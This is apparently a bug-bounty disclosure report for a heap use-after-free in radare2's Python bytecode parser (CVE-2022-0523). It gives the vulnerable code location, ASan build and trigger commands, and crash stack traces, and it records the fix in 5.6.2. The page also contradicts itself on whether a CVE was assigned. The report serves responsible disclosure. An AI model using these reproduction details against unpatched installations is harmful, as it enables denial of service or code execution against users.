Expired Pointer Dereference in radareorg/radare2

0

Valid Reported on Jan 22nd 2022

Description

This vulnerability is of type Expired Pointer Dereference (or specifically, **use-after-free**). The bug exists in latest stable release (radare2-5.5.4) and lastest master branch (ed2030b79e68986bf04f3a6279463ab989fe400f, updated in Jan 22, 2022). Specifically, the vulnerable code (located at `libr/bin/format/pyc/marshal.c`) and the bug's basic explanation are highlighted as follows:

```
// libr/bin/format/pyc/marshal.c
static pyc_object *copy_object(pyc_object *object) {
...
    // line 769
    // under our poc, the object points  to an already freed memory block
    copy->type = object->type;
```

Proof of Concept

Build the radare2 (5.5.4 or latest commit ed2030b79e68986bf04f3a6279463ab989fe400f) and run it using the input POC.

```
# build the radare2 with address sanitizer
export CFLAGS=" -fsanitize=address "; export CXXFLAGS=" -fsanitize=address
CFGARG=" --enable-shared=no " PREFIX=`realpath install` bash sys/build.sh
# disable some features of address sanitizer to avoid false positives
export ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=0:allocator_m
# trigger the crash
./radare2 -A -q POC_FILE
```

The stack dump is:

```
=================================================================
==27176==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000(
READ of size 4 at 0x602000064fd0 thread T0
    #0 0x7ffff2c2b661  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #1 0x7ffff2c22bcd  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #2 0x7ffff2c1d55e  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #3 0x7ffff2c23427  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #4 0x7ffff2c204db  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #5 0x7ffff2c1b7b3  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #6 0x7ffff2599d94  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #7 0x7ffff2598054  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #8 0x7ffff257df9e  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #9 0x7ffff252179b  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #10 0x7ffff2520876  (/src/projects/radare2-5.5.4/lastest-radare2/instal
    #11 0x7ffff386facc  (/src/projects/radare2-5.5.4/lastest-radare2/instal
    #12 0x7ffff76312ae  (/src/projects/radare2-5.5.4/lastest-radare2/instal
    #13 0x7ffff73a50b2  (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #14 0x55555557239d  (/src/projects/radare2-5.5.4/lastest-radare2/instal

0x602000064fd0 is located 0 bytes inside of 16-byte region [0x602000064fd0,
freed by thread T0 here:
    #0 0x5555555ed392  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #1 0x7ffff78ab405  (/src/projects/radare2-5.5.4/lastest-radare2/install

previously allocated by thread T0 here:
    #0 0x5555555ed772  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #1 0x7ffff2c276ff  (/src/projects/radare2-5.5.4/lastest-radare2/install
    #2 0x7ffff2c2bfa2  (/src/projects/radare2-5.5.4/lastest-radare2/install

SUMMARY: AddressSanitizer: heap-use-after-free (/src/projects/radare2-5.5.4
Shadow bytes around the buggy address:
  0x0c04800049a0: fa fa 04 fa fa fa 04 fa fa fa fd fa fa fa 07 fa
  0x0c04800049b0: fa fa fd fa fa fa 06 fa fa fa fd fa fa fa 06 fa
  0x0c04800049c0: fa fa fd fa fa fa 06 fa fa fa fd fa fa fa fd fa
  0x0c04800049d0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa
  0x0c04800049e0: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa
=>0x0c04800049f0: fa fa 00 00 fa fa fd fd fa fa[fd]fd fa fa fd fa
```

```
  0x0c0480004a00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c0480004a10: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c0480004a20: fa fa fd fd fa fa fd fa fa fa 00 00 fa fa 05 fa
  0x0c0480004a30: fa fa 00 00 fa fa 05 fa fa fa 00 00 fa fa 05 fa
  0x0c0480004a40: fa fa 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==27176==ABORTING

Program received signal SIGABRT, Aborted.
0x00007ffff73c418b in raise () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x00007ffff73c418b in raise () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007ffff73a3859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
#2  0x000055555560ba77 in __sanitizer::Abort() ()
#3  0x0000555555609fa1 in __sanitizer::Die() ()
#4  0x00005555555f14e4 in __asan::ScopedInErrorReport::~ScopedInErrorReport
#5  0x00005555555f30aa in __asan::ReportGenericError(unsigned long, unsigne
#6  0x00005555555f38b8 in __asan_report_load4 ()
#7  0x00007ffff2c2b662 in copy_object (object=0x602000064fd0
#8  0x00007ffff2c22bce in get_ref_object (buffer=0x60300008
#9  get_object (buffer=<optimized out>) at /src/projects/radare2-5.5.4/last
```

```
#10 0x00007ffff2c1d55f in get_code_object (buffer=<optimized out>) at /src/
#11 0x00007ffff2c23428 in get_object (buffer=<optimized out>) at /src/proje
#12 0x00007ffff2c204dc in get_sections_symbols_from_code_objects (buffer=<c

    magic=<optimized out>) at /src/projects/radare2-5.5.4/lastest-radare2/l
#13 0x00007ffff2c2e582 in pyc_get_sections_symbols (sections=0x7fffffffc0f0
    at /src/projects/radare2-5.5.4/lastest-radare2/libr/../libr/bin/p/../fc
#14 0x00007ffff2c1b7b4 in symbols (arch=<optimized out>) at /src/projects/r
#15 0x00007ffff2599d95 in r_bin_object_set_items (bf=<optimized out>, o=<op
#16 0x00007ffff2598055 in r_bin_object_new (bf=<optimized out>, plugin=<opt
    sz=<optimized out>) at bobj.c:168
#17 0x00007ffff257df9f in r_bin_file_new_from_buffer (bin=0x616000000980, f
    loadaddr=<optimized out>, fd=<optimized out>, pluginname=<optimized out
#18 0x00007ffff252179c in r_bin_open_buf (bin=<optimized out>, buf=<optimiz
#19 0x00007ffff2520877 in r_bin_open_io (bin=0x616000000980, opt=<optimized
#20 0x00007ffff386facd in r_core_file_do_load_for_io_plugin (r=0x7fffec3328
#21 r_core_bin_load (r=0x7fffec332800, filenameuri=<optimized out>, baddr=<
#22 0x00007ffff76312af in r_main_radare2 (argc=<optimized out>, argv=<optim
#23 0x00007ffff73a50b3 in __libc_start_main () from /lib/x86_64-linux-gnu/l
#24 0x000055555557239e in _start ()
```

Impact

The bug is of the use of expired/freed pointer (Heap-use-after-free). The POC attached here can be directly used to launch DoS attack. Besides, it is possible for the attacker to finally accomplish RCE (Remote Code Execution).

References

- Poc file

CVE
CVE-2022-0523
(Published)

Vulnerability Type
CWE-825: Expired Pointer Dereference

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by
Cen Zhang
@occia
unranked

Fixed by

pancake
@trufae
maintainer

This report was seen 406 times.

We are processing your report and will contact the **radareorg/radare2** team within 24 hours.
10 months ago

We have contacted a member of the **radareorg/radare2** team and are waiting to hear back
10 months ago

We have sent a follow up to the **radareorg/radare2** team. We will try again in 7 days.
10 months ago

We have sent a second follow up to the **radareorg/radare2** team. We will try again in 10 days.
10 months ago

pancake validated this vulnerability 10 months ago

Cen Zhang has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

pancake marked this as fixed in **5.6.2** with commit **35482c** 10 months ago

pancake has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ×

Sign in to join this conversation